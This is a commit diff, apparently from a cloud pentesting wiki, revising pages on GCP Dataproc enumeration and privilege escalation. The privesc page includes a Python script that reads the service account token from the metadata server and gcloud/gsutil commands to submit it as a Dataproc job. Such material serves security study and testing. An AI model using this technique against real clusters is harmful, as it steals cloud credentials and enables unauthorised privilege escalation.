Skip to content

Commit 6c4f136

Browse files
author
Mac
committed
dataproc enum & privesc
1 parent 44a7712 commit 6c4f136

File tree

2 files changed

+23
-42
lines changed

2 files changed

+23
-42
lines changed
Lines changed: 15 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -1,43 +1,30 @@
11
# GCP Dataproc Privilege Escalation
22

3-
## Dataproc Roles and Privilege Escalation
3+
{{#include ../../../banners/hacktricks-training.md}}
44

5-
Google Cloud Dataproc roles like roles/dataproc.editor and roles/dataproc.admin grant significant permissions over Dataproc resources. If these roles are assigned to a compromised user or service account, they can be abused to escalate privileges by leaking sensitive metadata tokens or accessing other GCP resources.
5+
## Dataproc
66

7-
## Key Permissions in Dataproc Roles
7+
{{#ref}}
8+
../gcp-services/gcp-dataproc-enum.md
9+
{{#endref}}
810

9-
roles/dataproc.editor - Modify Dataproc jobs. Submit PySpark, Spark, Hadoop, and other job types to a cluster. Access job logs and configurations. Interact with associated GCP services like Cloud Storage and BigQuery.
11+
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
1012

11-
roles/dataproc.admin - Full control over Dataproc clusters, including creating, deleting, and managing clusters.
12-
13-
These permissions make both roles highly sensitive and dangerous if misused.
14-
15-
## dataproc.jobs.create & dataproc.clusters.use
16-
17-
The following method - projects.regions.jobs.submit enables a SA to create a dataproc job, which can be abused as shown in the example below. it must be noted that in order to exploit these permissions SA should also have the necessary privileges to move the malicious script to the storage bucket (storage.objects.create).
18-
19-
the following permissions were assigned to the SA for the PoC (dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get, storage.objects.list)
20-
21-
22-
## Privilege Escalation via Metadata Token Leaking
13+
I was unable to get a reverse shell using this method, however it is possible to leak SA token from the metadata endpoint using the method described below.
2314

15+
#### Steps to exploit
2416

17+
- Place the job script on the GCP Bucket
2518

2619
- Submit a job to a Dataproc cluster.
2720

2821
- Use the job to access the metadata server.
2922

3023
- Leak the service account token used by the cluster.
3124

32-
### Example Script for token leaking
33-
34-
The following script demonstrates how an attacker can submit a job to a Dataproc cluster to leak the metadata token:
35-
25+
```python
3626
import requests
3727

38-
## Metadata server URL to fetch the access token
39-
40-
```
4128
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
4229
headers = {"Metadata-Flavor": "Google"}
4330

@@ -56,20 +43,14 @@ if __name__ == "__main__":
5643
fetch_metadata_token()
5744
```
5845

59-
### Steps to exploit
60-
61-
```
46+
```bash
6247
# Copy the script to the storage bucket
63-
gsutil cp fetch-metadata-token.py gs://dataproc-poc-bucket-hacktest/fetch-metadata-token.py
48+
gsutil cp <python-script> gs://<bucket-name>/<python-script>
49+
6450
# Submit the malicious job
65-
gcloud dataproc jobs submit pyspark gs://<bucket-name>/fetch_metadata_token.py \
51+
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
6652
--cluster=<cluster-name> \
6753
--region=<region>
6854
```
69-
### Use the Leaked Token
70-
71-
The leaked token can be used to:
7255

73-
- Access GCP APIs and resources (depending on the token’s permissions).
74-
- Enumerate resources such as Cloud Storage buckets, BigQuery datasets, and more.
75-
- Potentially escalate privileges further if the token has high-level permissions (e.g., roles/owner)
56+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1-
# GCP Dataproc Enum
1+
# GCP - Dataproc Enum
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
24

35
## Basic Infromation
46

@@ -36,12 +38,10 @@ gcloud dataproc jobs list --region=<region>
3638
gcloud dataproc jobs describe <job-id> --region=<region>
3739
```
3840

39-
### Post Exploitation
40-
41-
Enumerating Dataproc clusters can expose sensitive data, such as tokens, configuration scripts, or job output logs, which can be leveraged for further exploitation. Misconfigured roles or excessive permissions granted to the service account can allow:
42-
43-
Access to sensitive APIs (e.g., BigQuery, Cloud Storage).
41+
### Privesc
4442

45-
Token Exfiltration via metadata server.
43+
{{#ref}}
44+
../gcp-privilege-escalation/gcp-dataproc-privesc.md
45+
{{#endref}}
4646

47-
Data Exfiltration from misconfigured buckets or job logs.
47+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)